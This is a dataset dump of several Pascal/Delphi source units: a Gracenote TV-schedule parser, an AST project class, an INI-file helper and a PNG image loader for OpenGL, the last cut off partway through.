text stringlengths 14 6.51M |
|---|
unit xmltv.Gracenote;
interface
uses
System.Generics.Collections, System.JSON;
type
// TGracenoteMovieEpisodeProgramData = record
// runTime: integer; // duration, specified in ISO-8601 format; PTxxHyyM = xx hours, yy minutes
// releaseYear: integer; // year of theatrical movie release, formatted yyyy
// directors: string; // comma-separated list of director names, formatted firstname<space>lastname
// officialUrl: string; // official movie website, if available
// end;
// TGracenoteSportEventProgramData = record
//
// eventTitle: string; // for team events, includes team names and location (e.g., Kansas at Missouri);
// // for non-team events, provides greater detail than common 'Title' field
// organizationId: string;
// // organization ID; indicates organization (NFL, NBA, etc) associated with teams; only available on team vs. team events
// sportsId: string;
// // sports ID; indicates general sport of event (Basketball, Baseball, etc); only available on team vs. team events
// gameDate: string; // formatted yyyy-mm-dd
// gameTime: string; // formatted in local timezone for game; hh:mi:ss-<offset from UTC>; e.g., 13:00:00-05:00
// gameTimeZone: string; // timezone of game locale; e.g., Central Observing (if observing daylight savings time)
//
// end;
TGracenoteSerieEpisodeProgramData = class
strict private
FseriesId: string; // numeric identifier corresponding to rootId of series' main program record
FepisodeTitle: string; // episode-specific title, maximum 150 characters
// episodeImage :TImage; // for episodes only; episode-specific image (no text), where available
FseasonNum: string;
// for episodes only; season number; will not be provided for non-seasonal shows such as soap operas
FepisodeNum: string; // for episodes only; episode number within season
FtotalSeasons: string; // for series only; total number of seasons
FtotalEpisodes: integer;
procedure SetepisodeNum(const Value: string);
procedure SetepisodeTitle(const Value: string);
procedure SetseasonNum(const Value: string);
procedure SetseriesId(const Value: string);
procedure SettotalEpisodes(const Value: integer);
procedure SettotalSeasons(const Value: string); // for series only; total number of episodes across all seasons
public
constructor Create;
destructor Destroy; override;
property seriesId: string read FseriesId write SetseriesId;
// numeric identifier corresponding to rootId of series' main program record
property episodeTitle: string read FepisodeTitle write SetepisodeTitle;
// episode-specific title, maximum 150 characters
property seasonNum: string read FseasonNum write SetseasonNum;
property episodeNum: string read FepisodeNum write SetepisodeNum;
// for episodes only; episode number within season
property totalSeasons: string read FtotalSeasons write SettotalSeasons; // for series only; total number of seasons
property totalEpisodes: integer read FtotalEpisodes write SettotalEpisodes;
// for series only; total number of episodes across all seasons
end;
TGracenoteProgram = class
strict private
FtmsId: string;
// 14-character alphanumeric identifier for program record; first 2 characters generally identify program type (MV=movie, SH=show/series, EP=episode, SP=sports event);
// where available, parameter includeDetail=false will restrict program metadata to only programIds (tmsId, rootId, seriesId)
FrootId: string;
// numeric identifier used to connect related program records with different title language, description language, and versions
Ftitle: string; // program title; for episode records, this is series title
FtitleLang: string; // language abbreviation code (e.g., 'en'=English, 'sp'=Spanish, 'pt-BR'=Brazilian Portugese);
// see IETF Language Tag reference for more information
FshortDescription: string; // brief program description, Maximum 100 characters
FlongDescription: string; // long program description, Maximum 1000 characters
FdescriptionLang: string;
// language abbreviation code (e.g., 'en'=English, 'sp'=Spanish, 'pt-BR'=Brazilian Portugese);
// see IETF Language Tag reference for more information
Fgenres: string;
// [ ] comma-separated list of program genres (e.g., Talk, News, Politics, Sports talk, Entertainment); returned in English
ForigAirDate: string; // date of original TV airing; format is yyyy-mm-dd
Fholiday: string; // program details only; text of holiday name related to program content
Fanimation: string; // program details only; animation type of program content; values may be:
// Animated, Anime, Live action/animated, Live action/anime
FentityType: string; // program type; one of following values; Show, Episode, Sports, Movie
FsubType: string; // program subtype; one of following values:
// Feature Film, Short Film, TV Movie, Miniseries, Series, Special, Sports event, Sports non-event, Paid Programming, Theatre Event
// EpisodeSerieData: TGracenoteSerieEpisodeProgramData;
// SportEventData: TGracenoteSportEventProgramData;
// MovieEpisodeData: TGracenoteMovieEpisodeProgramData;
FSerieEpisodeData: TGracenoteSerieEpisodeProgramData;
procedure Setanimation(const Value: string);
procedure SetdescriptionLang(const Value: string);
procedure SetentityType(const Value: string);
procedure Setgenres(const Value: string);
procedure Setholiday(const Value: string);
procedure SetlongDescription(const Value: string);
procedure SetorigAirDate(const Value: string);
procedure SetrootId(const Value: string);
procedure SetSerieEpisodeData(const Value: TGracenoteSerieEpisodeProgramData);
procedure SetshortDescription(const Value: string);
procedure SetsubType(const Value: string);
procedure Settitle(const Value: string);
procedure SettitleLang(const Value: string);
procedure SettmsId(const Value: string);
// MovieData: TGracenoteMovieEpisodeProgramData;
// SportEventData: TGracenoteSportEventProgramData;
public
property tmsId: string read FtmsId write SettmsId;
property rootId: string read FrootId write SetrootId;
property title: string read Ftitle write Settitle; // program title; for episode records, this is series title
property titleLang: string read FtitleLang write SettitleLang;
// language abbreviation code (e.g., 'en'=English, 'sp'=Spanish, 'pt-BR'=Brazilian Portugese);
property shortDescription: string read FshortDescription write SetshortDescription;
// brief program description, Maximum 100 characters
property longDescription: string read FlongDescription write SetlongDescription;
// long program description, Maximum 1000 characters
property descriptionLang: string read FdescriptionLang write SetdescriptionLang;
property genres: string read Fgenres write Setgenres;
property origAirDate: string read ForigAirDate write SetorigAirDate;
// date of original TV airing; format is yyyy-mm-dd
property holiday: string read Fholiday write Setholiday;
// program details only; text of holiday name related to program content
property animation: string read Fanimation write Setanimation;
// program details only; animation type of program content; values may be:
property entityType: string read FentityType write SetentityType;
// program type; one of following values; Show, Episode, Sports, Movie
property subType: string read FsubType write SetsubType; // program subtype; one of following values:
property SerieEpisodeData: TGracenoteSerieEpisodeProgramData read FSerieEpisodeData write SetSerieEpisodeData;
constructor Create;
destructor Destroy; override;
end;
TGracenoteProgramColl = class
strict private
// FPrograms: TObjectList<TGracenoteProgram>;
FProgramsByTmsID: TObjectDictionary<string, TGracenoteProgram>;
private
// function GetCount: integer; // System.Generics.Collections.TDictionary<TKey,TValue><TGracenoteCommonProgramData>
public
function GetEnumerable: TEnumerable<TGracenoteProgram>;
constructor Create;
destructor Destroy; override;
procedure AddPrograms(jsonArray: TJSONArray);
// function AddNewTask : TGracenoteProgram;
//function Contains(Prog: TGracenoteProgram): boolean;
// property Count: integer read GetCount;
function GetByTmsID( tmsID:string;out leProg:TGracenoteProgram):Boolean;
function GetByNameAndDate( SerieName,showdate:string;out leProg:TGracenoteProgram):Boolean;
end;
TGraceNote = class
private
// FColl :TGracenoteProgramColl;
public
class var Coll :TGracenoteProgramColl;
// class procedure GetNext14Days(GracenoteColl: TGracenoteProgramColl);
class procedure GetNext14Days;
// class function GetProgramColl:TGracenoteProgramColl;
end;
implementation
uses
xmltvdb.DateUtils, System.SysUtils, System.DateUtils, CodeSiteLogging,
uDataModule;
{ TGraceNote }
class procedure TGraceNote.GetNext14Days; //(GracenoteColl: TGracenoteProgramColl);
var
// PremiereJournee: TdateTime;
DebutJour: TUTCDateTime;
FinJour: TUTCDateTime;
I: integer;
JSONarr: TJSONArray;
// StartTime: Extended;
NextAllowedTime: Extended;
// Prog: TGracenoteProgram;
begin
CodeSite.EnterMethod(nil,'GetNext14Days');//
NextAllowedTime := Extended.MinValue;
for I := 0 to 13 do
begin
DebutJour.AsLocal := IncDay(Today, I);
FinJour.AsLocal := EndOfTheDay(DebutJour.AsLocal);
if NextAllowedTime <> Extended.MinValue then
begin
while Now< NextAllowedTime do begin
Sleep(100);
CodeSite.SendMsg('Attente 100ms pour requête');
end;
end;
NextAllowedTime := IncSecond(now,3);
CodeSite.SendMsg('Execute la requête pour la date :' + DebutJour.AsISO8601StringShort);
CodeSite.SendMsg(' :' + FinJour.AsISO8601StringShort);
JSONarr:= nil;
JSONarr := DataModuleMain.GetNewShowAirings(DebutJour.AsISO8601StringShort, FinJour.AsISO8601StringShort);
if JSONarr<>nil then
begin
Self.Coll.AddPrograms(JSONarr);
end;
end;
// PremiereHeuredeCetteJournee
CodeSite.ExitMethod('GetNext14Days');//
end;
{ TGracenoteProgramColl }
procedure TGracenoteProgramColl.AddPrograms(jsonArray: TJSONArray);
var
// LJsonArr: TJSONArray;
LJsonValue: TJsonValue;
programelem: TJsonValue;
entityType: string;
title: string;
episodeTitle: string;
episodeNum: string;
seasonNum: string;
origAirDate: string;
unProg: TGracenoteProgram;
// tmpInt: integer;
begin
// LJsonArr := TJSONObject.ParseJSONValue(TEncoding.ASCII.GetBytes(jsonString), 0) as TJSONArray;
// CodeSite.SendNote(jsonArray);
// CodeSite.SendMsg('Found: ' + LJsonArr.Count.ToString + ' scheduled recordings...');
if jsonArray<>nil then
begin
for LJsonValue in jsonArray do
begin
programelem := LJsonValue.GetValue<TJsonValue>('program');
if programelem <> nil then
begin
unProg := TGracenoteProgram.Create;
try
entityType := programelem.GetValue<string>('entityType');
if not entityType.Equals('Movie') then
begin
unProg.tmsId := programelem.GetValue<string>('tmsId');
programelem.TryGetValue<string>('title', title);
if not title.IsEmpty then
unProg.title := title;
programelem.TryGetValue<string>('episodeTitle', episodeTitle);
if not episodeTitle.IsEmpty then
unProg.SerieEpisodeData.episodeTitle := episodeTitle;
programelem.TryGetValue<string>('episodeNum', episodeNum);
// if TryStrToInt(episodeNum, tmpInt) then
// begin
unProg.SerieEpisodeData.episodeNum := episodeNum;
// end;
programelem.TryGetValue<string>('seasonNum', seasonNum);
// if TryStrToInt(seasonNum, tmpInt) then
// begin
unProg.SerieEpisodeData.seasonNum := seasonNum;
// end;
programelem.TryGetValue<string>('origAirDate', origAirDate);
if not origAirDate.IsEmpty then
unProg.origAirDate := origAirDate;
end;
// FPrograms.Add(unProg);
if not unProg.tmsId.IsEmpty then begin
if not Self.FProgramsByTmsID.ContainsKey(unProg.tmsId) then begin
Self.FProgramsByTmsID.Add(unProg.tmsId, unProg);
end
else
begin
with Self.FProgramsByTmsID[unProg.tmsId] do
begin
if title.IsEmpty and not unProg.title.IsEmpty then
title := unProg.title;
if origAirDate.IsEmpty and not unProg.title.IsEmpty then
origAirDate := unProg.origAirDate;
if SerieEpisodeData.episodeTitle.IsEmpty and not unProg.SerieEpisodeData.episodeTitle.IsEmpty then
SerieEpisodeData.episodeTitle := unProg.SerieEpisodeData.episodeTitle;
if SerieEpisodeData.seasonNum.IsEmpty and not unProg.SerieEpisodeData.seasonNum.IsEmpty then
SerieEpisodeData.seasonNum := unProg.SerieEpisodeData.seasonNum;
if SerieEpisodeData.episodeNum.IsEmpty and not unProg.SerieEpisodeData.episodeNum.IsEmpty then
SerieEpisodeData.episodeNum := unProg.SerieEpisodeData.episodeNum;
end;
end;
end;
finally
end;
end;
end;
end;
end;
//function TGracenoteProgramColl.Contains(Prog: TGracenoteProgram): boolean;
//begin
// Result := FPrograms.Contains(Prog);
//end;
constructor TGracenoteProgramColl.Create;
begin
inherited Create;
/// FPrograms := TObjectList<TGracenoteProgram>.Create(True);
FProgramsByTmsID:= TObjectDictionary<string, TGracenoteProgram>.Create([doOwnsValues]);
end;
destructor TGracenoteProgramColl.Destroy;
begin
// if assigned(FPrograms) then FPrograms.Free;
if Assigned(FProgramsByTmsID) then FProgramsByTmsID.Free;
inherited;
end;
function TGracenoteProgramColl.GetByNameAndDate(SerieName, showdate: string; out leProg: TGracenoteProgram): Boolean;
var
unprog :TGracenoteProgram;
begin
for unprog in FProgramsByTmsID.Values do begin
if SameText( unprog.title, SerieName) then begin
if SameText( unprog.origAirDate, showdate) then begin
leProg := unprog;
Break;
end;
end;
end;
end;
function TGracenoteProgramColl.GetByTmsID(tmsID: string; out leProg: TGracenoteProgram): Boolean;
begin
if Self.FProgramsByTmsID.ContainsKey(tmsId) then
begin
Result := True;
leProg:= Self.FProgramsByTmsID.Items[tmsID];
end
else
begin
Result := false;
end;
end;
//function TGracenoteProgramColl.GetCount: integer;
//begin
//// Result := FPrograms.Count;
//end;
function TGracenoteProgramColl.GetEnumerable: TEnumerable<TGracenoteProgram>;
begin
Result := FProgramsByTmsID.Values;
end;
{ TGracenoteProgram }
constructor TGracenoteProgram.Create;
begin
inherited Create;
FSerieEpisodeData := TGracenoteSerieEpisodeProgramData.Create;
end;
destructor TGracenoteProgram.Destroy;
begin
if Assigned(FSerieEpisodeData) then
FSerieEpisodeData.Free;
inherited Destroy;
end;
procedure TGracenoteProgram.Setanimation(const Value: string);
begin
Fanimation := Value;
end;
procedure TGracenoteProgram.SetdescriptionLang(const Value: string);
begin
FdescriptionLang := Value;
end;
procedure TGracenoteProgram.SetentityType(const Value: string);
begin
FentityType := Value;
end;
procedure TGracenoteProgram.Setgenres(const Value: string);
begin
Fgenres := Value;
end;
procedure TGracenoteProgram.Setholiday(const Value: string);
begin
Fholiday := Value;
end;
procedure TGracenoteProgram.SetlongDescription(const Value: string);
begin
FlongDescription := Value;
end;
procedure TGracenoteProgram.SetorigAirDate(const Value: string);
begin
ForigAirDate := Value;
end;
procedure TGracenoteProgram.SetrootId(const Value: string);
begin
FrootId := Value;
end;
procedure TGracenoteProgram.SetSerieEpisodeData(const Value: TGracenoteSerieEpisodeProgramData);
begin
FSerieEpisodeData := Value;
end;
procedure TGracenoteProgram.SetshortDescription(const Value: string);
begin
FshortDescription := Value;
end;
procedure TGracenoteProgram.SetsubType(const Value: string);
begin
FsubType := Value;
end;
procedure TGracenoteProgram.Settitle(const Value: string);
begin
Ftitle := Value;
end;
procedure TGracenoteProgram.SettitleLang(const Value: string);
begin
FtitleLang := Value;
end;
procedure TGracenoteProgram.SettmsId(const Value: string);
begin
FtmsId := Value;
end;
{ TGracenoteSerieEpisodeProgramData }
constructor TGracenoteSerieEpisodeProgramData.Create;
begin
inherited Create;
end;
destructor TGracenoteSerieEpisodeProgramData.Destroy;
begin
inherited Destroy;
end;
procedure TGracenoteSerieEpisodeProgramData.SetepisodeNum(const Value: string);
begin
FepisodeNum := Value;
end;
procedure TGracenoteSerieEpisodeProgramData.SetepisodeTitle(const Value: string);
begin
FepisodeTitle := Value;
end;
procedure TGracenoteSerieEpisodeProgramData.SetseasonNum(const Value: string);
begin
FseasonNum := Value;
end;
procedure TGracenoteSerieEpisodeProgramData.SetseriesId(const Value: string);
begin
FseriesId := Value;
end;
procedure TGracenoteSerieEpisodeProgramData.SettotalEpisodes(const Value: integer);
begin
FtotalEpisodes := Value;
end;
procedure TGracenoteSerieEpisodeProgramData.SettotalSeasons(const Value: string);
begin
FtotalSeasons := Value;
end;
initialization
TGraceNote.Coll := TGracenoteProgramColl.Create;
finalization
TGraceNote.Coll.Free;
end.
|
unit AST.Delphi.Project;
interface
uses AST.Intf,
AST.Classes,
AST.Pascal.Intf,
AST.Pascal.Project,
AST.Parser.Utils;
type
IASTDelphiProject = interface(IASTPascalProject)
['{07D970E0-C4D9-4627-AD95-A561286C049E}']
function GetSysInitUnit: TASTModule;
property SysInitUnit: TASTModule read GetSysInitUnit;
end;
TASTDelphiProject = class(TPascalProject, IASTDelphiProject)
private
fSysInitUnit: TASTModule;
protected
function GetUnitClass: TASTUnitClass; override;
function GetSystemUnitClass: TASTUnitClass; override;
function GetSysInitUnit: TASTModule;
procedure DoBeforeCompileUnit(AUnit: TASTModule); override;
procedure DoFinishCompileUnit(AUnit: TASTModule; AIntfOnly: Boolean); override;
public
constructor Create(const Name: string); override;
end;
implementation
uses AST.Delphi.Parser,
AST.Delphi.System;
{ TASTDelphiProject }
constructor TASTDelphiProject.Create(const Name: string);
begin
inherited;
end;
procedure TASTDelphiProject.DoBeforeCompileUnit(AUnit: TASTModule);
begin
inherited;
// add SysInit unit implicitly
if Assigned(fSysInitUnit) then
(AUnit as TASTDelphiUnit).IntfImportedUnits.AddObject('SysInit', fSysInitUnit);
end;
procedure TASTDelphiProject.DoFinishCompileUnit(AUnit: TASTModule; AIntfOnly: Boolean);
begin
inherited;
if AUnit.Name = 'SysInit' then
fSysInitUnit := AUnit;
end;
function TASTDelphiProject.GetSysInitUnit: TASTModule;
begin
Result := fSysInitUnit;
end;
function TASTDelphiProject.GetSystemUnitClass: TASTUnitClass;
begin
Result := TSYSTEMUnit;
end;
function TASTDelphiProject.GetUnitClass: TASTUnitClass;
begin
Result := TASTDelphiUnit;
end;
end.
|
unit LIniFiles;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, IniFiles, FileUtil, LTypes, strutils, Graphics, LSize;
type
TLIniFile=class(TIniFile)
public
{types and variables}
type
TLIniFileArray=array of TLIniFile;
public
{functions and procedures}
//constructor Create(const AFileName: string; AEscapeLineFeeds: Boolean=False);
procedure ParseFn(var AFn: TLFn);
function ReadFn(const Section, Ident: String; Default: TLFn): TLFn;
function ReadFnArray(const Ident: String): TLFnArray;
procedure WriteFn(const Section, Ident: String; Value: TLFn);
function ReadIni(const Section, Ident: String; Default: TLIniFile=Nil): TLIniFile;
function ReadIniArray(const Ident: String): TLIniFileArray;
procedure WriteIni(const Section, Ident: String; Value: TLIniFile);
function ReadPoint(const Section, Ident: String; Default: TPoint): TPoint;
procedure WritePoint(const Section, Ident: String; Value: TPoint);
function ReadL2DSize(const Section, Ident: String; Default: TL2DSize=Nil): TL2DSize;
procedure WriteL2DSize(const Section, Ident: String; Value: TL2DSize);
function ReadL3DSize(const Section, Ident: String; Default: TL3DSize=Nil): TL3DSize;
procedure WriteL3DSize(const Section, Ident: String; Value: TL3DSize);
function ReadBitmap(const Section, Ident: String; Default: TBitmap): TBitmap;
end;
TLIniFileArray=TLIniFile.TLIniFileArray;
implementation
procedure TLIniFile.ParseFn(var AFn: TLFn);
var appname, appdir, inipath, inidir: TLFn;
begin
(*
appname:=ApplicationName;
appdir:=ExtractFileDir(appdir);
inipath:=CreateAbsolutePath(FileName, appdir);
*)
inipath:=ExpandFileName(FileName);
inidir:=ExtractFileDir(inipath);
AFn:=CreateAbsolutePath(AFn, inidir);
end;
function TLIniFile.ReadFn(const Section, Ident: String; Default: TLFn):TLFn;
begin
Result:=ReadString(Section, Ident, '');
if Result='' then Result:=Default;
ParseFn(Result);
end;
function TLIniFile.ReadFnArray(const Ident: String): TLFnArray;
var t: Text;
strings: TStringList;
section: String;
i: Integer;
begin
section:=UpperCase(LeftStr(Ident, 1))+RightStr(Ident, Length(Ident)-1);
strings:=TStringList.Create;
ReadSectionRaw(section, strings);
SetLength(Result, strings.Count);
for i:=0 to strings.Count-1 do
begin
Result[i]:=strings.Strings[i];
ParseFn(Result[i]);
end;
end;
procedure TLIniFile.WriteFn(const Section, Ident: String; Value: TLFn);
var fnFrom, fnTo: TLFn;
begin
fnFrom:=Value;
fnTo:=ReadFn(Section, Ident, 'RAND_'+IntToStr(Random(MaxInt))+'.ini');
CopyFile(fnFrom, fnTo);
end;
function TLIniFile.ReadIni(const Section, Ident: String; Default: TLIniFile=Nil): TLIniFile;
var fn: TLFn;
begin
fn:=ReadFn(Section, Ident, '');
if fn<>'' then
begin
Result:=TLIniFile.Create(fn, EscapeLineFeeds);
end
else
begin
if Default=Nil then
begin
Result:=Self;
end
else
begin
Result:=Default;
end;
end;
end;
function TLIniFile.ReadIniArray(const Ident: String): TLIniFileArray;
var fns: TLFnArray;
i: Integer;
begin
fns:=ReadFnArray(Ident);
SetLength(Result, Length(fns));
for i:=0 to Length(fns)-1 do
begin
Result[i]:=TLIniFile.Create(fns[i]);
end;
end;
procedure TLIniFile.WriteIni(const Section, Ident: String; Value: TLIniFile);
var fn: TLFn;
begin
fn:=Value.FileName;
Value.Free;
WriteFn(Section, Ident, fn);
end;
function TLIniFile.ReadPoint(const Section, Ident: String; Default: TPoint): TPoint;
var s: String;
Strings: TStringList;
begin
s:=ReadString(Section, Ident, PointToStr(Default));
Result:=StrToPoint(s);
end;
procedure TLIniFile.WritePoint(const Section, Ident: String; Value: TPoint);
begin
WriteString(Section, Ident, PointToStr(Value));
end;
function TLIniFile.ReadL2DSize(const Section, Ident: String; Default: TL2DSize): TL2DSize;
var s: String;
begin
if Default=Nil then Default:=TL2DSize.Create;
s:=ReadString(Section, Ident, L2DSizeToStr(Default));
Result:=StrToL2DSize(s);
end;
procedure TLIniFile.WriteL2DSize(const Section, Ident: String; Value: TL2DSize);
begin
WriteString(Section, Ident, L2DSizeToStr(Value));
end;
function TLIniFile.ReadL3DSize(const Section, Ident: String; Default: TL3DSize): TL3DSize;
var s: String;
begin
if Default=Nil then Default:=TL3DSize.Create;
s:=ReadString(Section, Ident, L3DSizeToStr(Default));
Result:=StrToL3DSize(s);
end;
procedure TLIniFile.WriteL3DSize(const Section, Ident: String; Value: TL3DSize);
begin
WriteString(Section, Ident, L3DSizeToStr(Value));
end;
function TLIniFile.ReadBitmap(const Section, Ident: String; Default: TBitmap): TBitmap;
var fn: TLFn;
begin
Result:=TBitmap.Create;
fn:=ReadFn(Section, Ident, '');
if fn<>'' then
begin
Result.LoadFromFile(fn);
end
else
begin
Result:=Default;
end;
end;
end.
|
unit UnitOpenGLImagePNG; // from PasVulkan, so zlib-license and Copyright (C), Benjamin 'BeRo' Rosseaux (benjamin@rosseaux.de)
{$ifdef fpc}
{$mode delphi}
{$ifdef cpui386}
{$define cpu386}
{$endif}
{$ifdef cpu386}
{$asmmode intel}
{$endif}
{$ifdef cpuamd64}
{$asmmode intel}
{$endif}
{$ifdef fpc_little_endian}
{$define little_endian}
{$else}
{$ifdef fpc_big_endian}
{$define big_endian}
{$endif}
{$endif}
{$ifdef fpc_has_internal_sar}
{$define HasSAR}
{$endif}
{-$pic off}
{$define caninline}
{$ifdef FPC_HAS_TYPE_EXTENDED}
{$define HAS_TYPE_EXTENDED}
{$else}
{$undef HAS_TYPE_EXTENDED}
{$endif}
{$ifdef FPC_HAS_TYPE_DOUBLE}
{$define HAS_TYPE_DOUBLE}
{$else}
{$undef HAS_TYPE_DOUBLE}
{$endif}
{$ifdef FPC_HAS_TYPE_SINGLE}
{$define HAS_TYPE_SINGLE}
{$else}
{$undef HAS_TYPE_SINGLE}
{$endif}
{$else}
{$realcompatibility off}
{$localsymbols on}
{$define little_endian}
{$ifndef cpu64}
{$define cpu32}
{$endif}
//{$define delphi}
{$undef delphi}
{$undef HasSAR}
{$define UseDIV}
{$define HAS_TYPE_EXTENDED}
{$define HAS_TYPE_DOUBLE}
{$define HAS_TYPE_SINGLE}
{$endif}
{$ifdef cpu386}
{$define cpux86}
{$endif}
{$ifdef cpuamd64}
{$define cpux86}
{$endif}
{$ifdef win32}
{$define windows}
{$endif}
{$ifdef win64}
{$define windows}
{$endif}
{$ifdef wince}
{$define windows}
{$endif}
{$ifdef windows}
{$define win}
{$endif}
{$ifdef sdl20}
{$define sdl}
{$endif}
{$rangechecks off}
{$extendedsyntax on}
{$writeableconst on}
{$hints off}
{$booleval off}
{$typedaddress off}
{$stackframes off}
{$varstringchecks on}
{$typeinfo on}
{$overflowchecks off}
{$longstrings on}
{$openstrings on}
{$ifndef HAS_TYPE_DOUBLE}
{$error No double floating point precision}
{$endif}
{$ifdef fpc}
{$define caninline}
{$else}
{$undef caninline}
{$ifdef ver180}
{$define caninline}
{$else}
{$ifdef conditionalexpressions}
{$if compilerversion>=18}
{$define caninline}
{$ifend}
{$endif}
{$endif}
{$endif}
interface
uses SysUtils,Classes,Math,{$ifdef delphi}PNGImage,{$else}{$ifdef fpc}FPImage,FPReadPNG,{$endif}{$endif}UnitOpenGLImage,{$ifdef fpcgl}gl,glext{$else}dglOpenGL{$endif};
type PPNGPixel=^TPNGPixel;
TPNGPixel=packed record
r,g,b,a:{$ifdef PNGHighDepth}word{$else}byte{$endif};
end;
function LoadPNGImage(DataPointer:pointer;DataSize:longword;var ImageData:pointer;var ImageWidth,ImageHeight:longint;HeaderOnly:boolean):boolean;
implementation
{$ifdef android}
//uses SysUtils,RenderBase;
{$endif}
type TPNGHeader=array[0..7] of byte;
{$ifdef fpc}
{$undef OldDelphi}
{$else}
{$ifdef conditionalexpressions}
{$if CompilerVersion>=23.0}
{$undef OldDelphi}
type qword=uint64;
ptruint=NativeUInt;
ptrint=NativeInt;
{$else}
{$define OldDelphi}
{$ifend}
{$else}
{$define OldDelphi}
{$endif}
{$endif}
{$ifdef OldDelphi}
type qword=int64;
{$ifdef cpu64}
ptruint=qword;
ptrint=int64;
{$else}
ptruint=longword;
ptrint=longint;
{$endif}
{$endif}
{$if defined(delphi)}
function LoadPNGImage(DataPointer:pointer;DataSize:longword;var ImageData:pointer;var ImageWidth,ImageHeight:longint;HeaderOnly:boolean):boolean;
var Stream:TMemoryStream;
PNG:TPNGImage;
y,x:longint;
pin,pout,ain:PAnsiChar;
c:longword;
begin
result:=false;
try
if (assigned(DataPointer) and (DataSize>8)) and
((pansichar(DataPointer)[0]=#$89) and (pansichar(DataPointer)[1]=#$50) and (pansichar(DataPointer)[2]=#$4e) and (pansichar(DataPointer)[3]=#$47) and
(pansichar(DataPointer)[4]=#$0d) and (pansichar(DataPointer)[5]=#$0a) and (pansichar(DataPointer)[6]=#$1a) and (pansichar(DataPointer)[7]=#$0a)) then begin
Stream:=TMemoryStream.Create;
try
if Stream.Write(DataPointer^,DataSize)=longint(DataSize) then begin
if Stream.Seek(0,soFromBeginning)=0 then begin
PNG:=TPNGImage.Create;
try
PNG.LoadFromStream(Stream);
ImageWidth:=PNG.Width;
ImageHeight:=PNG.Height;
if not HeaderOnly then begin
GetMem(ImageData,ImageWidth*ImageHeight*4);
pout:=ImageData;
case PNG.Header.ColorType of
{ COLOR_GRAYSCALE,COLOR_GRAYSCALEALPHA:begin
for y:=0 to ImageHeight-1 do begin
pin:=PNG.Scanline[y];
if PNG.Header.ColorType=COLOR_GRAYSCALEALPHA then begin
ain:=pointer(PNG.AlphaScanline[y]);
end else begin
ain:=nil;
end;
for x:=0 to ImageWidth-1 do begin
pout[0]:=pin[0];
pout[1]:=pin[0];
pout[2]:=pin[0];
if assigned(ain) then begin
pout[3]:=ain[x];
end else begin
pout[3]:=#255;
end;
inc(pin,1);
inc(pout,4);
end;
end;
end;}
COLOR_RGB,COLOR_RGBALPHA:begin
for y:=0 to ImageHeight-1 do begin
pin:=PNG.Scanline[y];
if PNG.Header.ColorType=COLOR_RGBALPHA then begin
ain:=pointer(PNG.AlphaScanline[y]);
end else begin
ain:=nil;
end;
for x:=0 to ImageWidth-1 do begin
pout[0]:=pin[2];
pout[1]:=pin[1];
pout[2]:=pin[0];
if assigned(ain) then begin
pout[3]:=ain[x];
end else begin
pout[3]:=#255;
end;
inc(pin,3);
inc(pout,4);
end;
end;
end;
else begin
for y:=0 to ImageHeight-1 do begin
if PNG.Header.ColorType in [COLOR_PALETTE,COLOR_GRAYSCALEALPHA] then begin
ain:=pointer(PNG.AlphaScanline[y]);
end else begin
ain:=nil;
end;
for x:=0 to ImageWidth-1 do begin
c:=PNG.Pixels[x,y];
pout[0]:=ansichar(byte((c shr 0) and $ff));
pout[1]:=ansichar(byte((c shr 8) and $ff));
pout[2]:=ansichar(byte((c shr 16) and $ff));
pout[3]:=ansichar(byte((c shr 24) and $ff));
if assigned(ain) then begin
pout[3]:=ain[x];
end else begin
pout[3]:=#255;
end;
inc(pout,4);
end;
end;
end;
end;
end;
result:=true;
finally
PNG.Free;
end;
end;
end;
finally
Stream.Free;
end;
end;
except
result:=false;
end;
end;
{$elseif defined(fpc)}
function LoadPNGImage(DataPointer:pointer;DataSize:longword;var ImageData:pointer;var ImageWidth,ImageHeight:longint;HeaderOnly:boolean):boolean;
var Image:TFPMemoryImage;
ReaderPNG:TFPReaderPNG;
Stream:TMemoryStream;
y,x:longint;
c:TFPColor;
pout:PAnsiChar;
begin
result:=false;
try
Stream:=TMemoryStream.Create;
try
if (assigned(DataPointer) and (DataSize>8)) and
((pansichar(DataPointer)[0]=#$89) and (pansichar(DataPointer)[1]=#$50) and (pansichar(DataPointer)[2]=#$4e) and (pansichar(DataPointer)[3]=#$47) and
(pansichar(DataPointer)[4]=#$0d) and (pansichar(DataPointer)[5]=#$0a) and (pansichar(DataPointer)[6]=#$1a) and (pansichar(DataPointer)[7]=#$0a)) then begin
if Stream.Write(DataPointer^,DataSize)=longint(DataSize) then begin
if Stream.Seek(0,soFromBeginning)=0 then begin
Image:=TFPMemoryImage.Create(20,20);
try
ReaderPNG:=TFPReaderPNG.Create;
try
Image.LoadFromStream(Stream,ReaderPNG);
ImageWidth:=Image.Width;
ImageHeight:=Image.Height;
if not HeaderOnly then begin
GetMem(ImageData,ImageWidth*ImageHeight*4);
pout:=ImageData;
for y:=0 to ImageHeight-1 do begin
for x:=0 to ImageWidth-1 do begin
c:=Image.Colors[x,y];
pout[0]:=ansichar(byte((c.red shr 8) and $ff));
pout[1]:=ansichar(byte((c.green shr 8) and $ff));
pout[2]:=ansichar(byte((c.blue shr 8) and $ff));
pout[3]:=ansichar(byte((c.alpha shr 8) and $ff));
inc(pout,4);
end;
end;
end;
result:=true;
finally
ReaderPNG.Free;
end;
finally
Image.Free;
end;
end;
end;
end;
finally
Stream.Free;
end;
except
result:=false;
end;
end;
{$elseif defined(android)}
type POwnStream=^TOwnStream;
TOwnStream=record
Data:pansichar;
end;
procedure PNGReadData(png_ptr:png_structp;OutData:png_bytep;Bytes:png_size_t); cdecl;
var p:POwnStream;
begin
p:=png_get_io_ptr(png_ptr);
Move(p^.Data^,OutData^,Bytes);
inc(p^.Data,Bytes);
end;
function LoadPNGImage(DataPointer:pointer;DataSize:longword;var ImageData:pointer;var ImageWidth,ImageHeight:longint;HeaderOnly:boolean):boolean;
type pword=^word;
const kPngSignatureLength=8;
var png_ptr:png_structp;
info_ptr:png_infop;
Stream:TOwnStream;
Width,Height,BytesPerRow:longword;
BitDepth,ColorType,x,y,NumPasses,Pass:longint;
Row,Src,Dst:pansichar;
Src16:pword;
color:png_colorp;
Value:byte;
begin
result:=false;
if png_sig_cmp(DataPointer,0,8)<>0 then begin
exit;
end;
png_ptr:=png_create_read_struct(PNG_LIBPNG_VER_STRING,nil,nil,nil);
if not assigned(png_ptr) then begin
exit;
end;
info_Ptr:=png_create_info_struct(png_Ptr);
if not assigned(info_ptr) then begin
png_destroy_read_struct(@png_Ptr,nil,nil);
exit;
end;
Stream.Data:=@PAnsiChar(DataPointer)[0];
